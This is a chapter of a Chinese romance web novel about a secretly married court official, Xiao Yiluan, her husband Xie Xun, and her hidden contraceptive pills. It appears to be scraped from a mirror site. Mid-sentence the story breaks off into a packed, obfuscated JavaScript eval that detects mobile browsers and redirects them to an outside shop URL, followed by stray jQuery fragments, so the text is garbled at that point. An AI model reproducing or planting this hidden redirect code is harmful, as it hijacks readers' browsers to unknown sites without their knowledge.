《女史隐婚两年后》/子不语经年——晋江独发
绛红色的纱幔被热气卷得轻轻摇晃,温柔乡内莺啼鸟啭。萧懿鸾自满头大汗中清醒过来,颈窝被谢恂的热息紧覆,她在绣枕上忍不住闷哼一声,眸光幽深,欲言又止。
谢恂侧目望她,喉咙正干渴着,轻声道:“你觉得怎么样?”
萧懿鸾答不上来,只是茫然问:“这是哪里?”
“在同安巷。”谢恂环顾一眼屋内陈设,又低着头看她,“喜欢吗?”
萧懿鸾注意到纱幔,闭眼浅浅一笑。
“你随身带着这宅子的钥匙吗?”她疑惑。
谢恂在她耳畔喘气道:“门锁后面有个机关匣,备用钥匙就藏在里头。”
萧懿鸾悠长地嗯声,如此便不用担心忘了带钥匙,想过来便随时可以过来。
两人如胶似漆地缠磨到薄暮,谢恂挨在枕头上缓神,舒畅之至。虽不想承认,但他确实有种把太子踩于脚下的快意。转过头想跟萧懿鸾说说话,却发现她在哭。
“怎么了?”谢恂连忙侧过身,方才眼里的欢欣尽数被关切和焦急取代。
萧懿鸾满面羞愧地背过了身,她记起自己正跟慕容璇玑说些场面话,然后喝了茶,之后便没了知觉。虽然没问谢恂为何把她带到这儿来,但她隐隐察觉到了一些,自己经历了险些会身败名裂的事。
谢恂看出些端倪,在她身后小声安抚着:“现在没事了,有我在这儿。”说罢伸臂环住她,将脸贴在她香润的发丝里。
这时他忽而有些后怕,如果自己今日压根没去东宫的话,萧懿鸾又会发生什么事?想到这儿,对太子的恨意又加重一层。
“你是恰巧有事要去东宫的吗?”萧懿鸾喃喃地问。
谢恂想了一下然后挑眉道:“因为我听到你在喊我的名字。”怕她担心,所以暂时没有提起顺亲王府的事。
“你又在戏弄我。”
“你心里肯定在喊呢。”谢恂变着法儿逗她,又握着她的手心道,“别为了这种事消沉,你没有做错什么,通过这件事看清一些人的面目也是值得的。”
萧懿鸾止住了泪,红着眼眶翻身偎在他怀中,谢恂忍着心里的不痛苦,终于看着她问:“你在东宫见到太子了吗?”
萧懿鸾仔细回想,先是摇头道:“太子不在。”说罢又觉不确定,迟疑补充着,“可是我不知道之后发生了什么。”
谢恂脸色稍沉,随后又眸光款款道:“之后的事不重要,你只需要记着你今日傍晚是跟我一起度过的就好了。”
萧懿鸾怔怔地想起来几个意乱情迷的瞬间,忽然担心地问:“都有谁知道你把我带出来了?”
谢恂掰着指头数道:“慕容璇玑,还有你在御书台的两位同僚,一男一女,我进宫的他们正打算去东宫寻你呢。”
萧懿鸾目光晶莹道:“那是杨琉和欧阳瑜。”心里有难以言说的暖意。
谢恂不知道他们的名字,听萧懿鸾这样肯定,觉得不可思议:“你就那么确定是他们?”
萧懿鸾抿唇淡淡一笑,又兀自细语着:“我在想,今天的事或许只是慕容璇玑一个人的主意,太子并不知情呢?”
谢恂不以为然地嗤道:“她自己会想出这种昏招吗?”
萧懿鸾也想不通,见谢恂不太高兴,便不再谈论此事。
窗外的天色完全暗了,谢恂走下床去,将衣衫逐件穿上系好,英姿勃勃地回过身问:“你想吃什么,我出去给你带些回来?”
萧懿鸾犹疑了一瞬,拥着鸳鸯锦被起身问道:“今晚要在这儿过夜吗?”
谢恂理所当然地笑道:“不好吗?”
萧懿鸾垂眸不语,此次从谢家走的时候还想着,不在谢恂身边时带着疏泠丸也无用处,所以将香囊留在了衣橱中。可是阴差阳错地,这么快又跟谢恂有了肌肤之亲,若是今晚就在这儿留宿,明日再从这儿去御书台,接下来不知要过多久才有机会回谢家,倘若今天服不上药的话,万一就这样怀了孩子,岂不是前功尽弃了,她不敢冒这个险。
她只好跟他央求道:“我不想留在这儿,你带我回府吧。”
谢恂感到为难:“可是外面天都黑了。”
萧懿鸾一再坚持:“我真的不想待在这儿,你记得吗?这个宅子里死过人的,我亲眼看见的。”
谢恂本想说已经做了法事了,但是迎上她的目光又说不出口,最后吁了声气,只好依她:“好,但是外面太冷了,你让我想想办法。”
他来到外间将房门拉开,随着一声轻响,外头的寒风不请自入,谢恂扭头望了一眼里侧卧房,关上门走进夜色中。
萧懿鸾低头端详着鸳鸯锦被的绣纹,被汗浸润过的热气还未散去,她披上贴身的纱衣,艰难地下了床,在谢恂回来之前穿戴整齐。
谢恂在巷子附近寻觅许久,才拦了一辆已经准备收摊的马车,花了三倍价钱请来车夫。
萧懿鸾坐上回谢家的马车后,心里才踏实了。
车内幽黑一片,谢恂在她身旁抚摸着她的手问:“明日还要去御书台吗?”
萧懿鸾平视着身前,嗯了一声坚定道:“我不想让慕容璇玑觉得我会被这种事打倒。”
谢恂没觉得意外,只是心里觉得她或许可以不用这般要强,适应了眼前黑暗后,转过头心绪不平地望着她,却没有开口。
不知怎的,萧懿鸾想起自己从前对谢恂说的话,她说她想变成让他仰仗的女人,但事实却是自己一直离不开他的照拂。她也转头看向他模糊的轮廓,想问问他:我是不是给你添了很多麻烦?
明知故问罢了,萧懿鸾忍住没有开口。
两人一路相对无言回到谢家,老夫人还未入睡,听到动静知道他们回来了,谢恂便过去找理由解释一番。
萧懿鸾推脱身体不适,独自回到东院,一进卧房便直奔衣橱,青蝶和梦莲跟在身后殷切道:“夫人需要什么?”
萧懿鸾站在衣橱前迟疑了一会儿,回身对她们笑道:“没什么,你们下去吧。”
二人略显疑惑地退了出去,随后萧懿鸾将手探入香囊,取了一颗疏泠丸攥在手上。从未在手心停留太久的药丸此刻分外刺眼,萧懿鸾觉得自己很可耻,跟谢恂恩爱的时候明明是幸福的,一转身就做这种伤害他的事,为什么还能欣然接受着他对她的好?
踟蹰之际,忽听谢恂在身后问:“你在找什么?”
萧懿鸾慌了神,下意识抬手想关上衣橱的门,手中的疏泠丸却不慎掉了出来,落在地上不知滚到何处。
她扶着门支吾道:“我想找一件……风领,不知道放在了何处。”
谢恂没有发觉异样,走近些朝衣橱内瞥了瞥然后眨着眼笑道:“这个衣橱里都是单薄的衣裳。”
萧懿鸾假装被提醒了,讪然一笑:“我记错了。”然后关上衣橱的门,去翻旁边的衣箱。
当初她从叔父家中出阁,一应衣物都被装箱带到谢家,这两年她极少回谢家住,衣箱几乎没有打开过,她也忘了每个箱箧里都收了些何物。
谢恂狐疑地望着她的背影,觉得她好像有些魂不守舍。
他跟过去从她身后环住她,蹭着她的肩道:“别找了,明日再找吧。”
萧懿鸾听到这话,顺势嗯了一声,然后推了推他落在她身上的手臂,有意挣脱他。
谢恂却没有放手,双臂紧紧圈住了她的腰,轻语道:“回到家来,心里觉得好些了吗?”
萧懿鸾想起她为了让谢恂带她回来而编的理由,心里很不是滋味。她侧着头望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091407|146855||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他,认真地问出了在马车上没有问出口的那句话:“我是不是给你添了很多麻烦?”
谢恂不置可否,专注地打量她,似笑非笑道:“你想让我说真话,还是说假话?”
萧懿鸾低下头,眼波盈盈地笑了笑,随后又怅然:“我是不是很没用?”
谢恂拉着她转过身来,细心安慰道:“有本事的人,才会常常觉得自己尚有不足。”
萧懿鸾心思沉重地摇了摇头,御书台能人辈出,也许她终其一生只能是个副主事了,若是仕途果真止步于此,那她瞒着谢恂偷偷服药究竟有何意义?
“时候不早了,歇息吧。”萧懿鸾对谢恂说道,然后低头往床边走去。
她觉得好累,反思自己到底是不是真有能耐,却发觉自己在许多事上都很无力。
灯灭后,谢恂握着她的手贴在唇边低喃:“孤家寡人才没有任何麻烦,你觉得我想当孤家寡人吗?”
黑暗中,萧懿鸾闭着眼睛在笑:“因为你就是喜欢被我麻烦。”顿了顿,又专横道,“你只许让我一个人麻烦。”
话说完后,笑意蓦然冷却,觉得一切好不真实。
谢恂还有些沾沾自喜:“那你可要把我盯牢了。”
萧懿鸾一直到后半夜也未睡着,对于疏泠丸到底还吃不吃,始终犹疑不定。一会儿想着宫城内人心叵测,防不胜防,稍有不慎便被慕容璇玑这样的人暗算,她为何还要留在御书台受苦?一会儿又想着不能就这么认输,她好不容易才从女史熬到副主事一职,若是就这样断了前程,岂不因小失大?
谢恂在她身旁睡得安稳,萧懿鸾思量再三,终于在寅时左右从帷幔内悄悄起身出来,摸到衣橱里的疏泠丸,再度服下一颗。
长夜森森,静得可怕,她咽下药后便匆匆回到床上,都没顾得上将香囊收好。
次日天刚亮,萧懿鸾在困倦中被腹痛惊醒,抚着胸一阵难受,随即便对着床下痰盂呕吐不止。
谢恂睡眼惺忪地撑着胳膊坐起来,轻拍着她的背问:“你怎么样?”
萧懿鸾面如土色,自己也分不清究竟是昨日在东宫喝下去的腌臜物还有残余作用,抑或是半夜服用的疏泠丸伤了身?
她趴在床沿上对谢恂嗫嚅道:“我好像着凉了。”
谢恂懊恼,昨晚就不该心软带她回来,虽然雇了马车,但一路上难免吹了冷风。
谢恂心急火燎地下床穿衣,唤人去请大夫。
萧懿鸾忙抬头问道:“你要请的是哪位大夫?”
谢恂焦急地看着她,忽然明白了她的担忧。
谢家有相识多年的名医,大夫对谢家的人和事颇有了解,而谢恂和萧懿鸾两年前是秘密成婚的,外人并不知晓。近来的圣旨赐婚一事虽是公开的,但是婚期尚未到,若被人发现萧懿鸾已经住到谢家来,她就名声尽毁了。
就算请一个不认识的大夫过来,可人家登门医病,很快就会知道谢恂的身份了,这些里里外外的事还是瞒不住。
眼瞧着左也不行右也不行,萧懿鸾又病得愈发厉害,谢恂灵机一动,先让人去请不相识的大夫过来,随后跟萧懿鸾商议道:“你暂时假装是我的远方亲戚。”
萧懿鸾有气无力地嗯了一声,谢恂又急着嘱咐青蝶和梦莲,让她们在大夫面前唤萧懿鸾表姑娘。
为了让卧房看起来像萧懿鸾独自居住的闺房,谢恂便让侍女收起他的衣物,自己又拿起其中一只枕头,藏进了衣橱中。
橱门打开后,谢恂看见香囊的束口处是开着的,便顺手将束绳紧了紧,心内疑惑:里头的香料怎么是不满的?
他记得萧懿鸾刚买回来时明明是鼓鼓的一袋。
放好枕头后,谢恂无意间低头瞥了一眼脚下,竟在衣橱侧边发现一颗赤色的丸粒。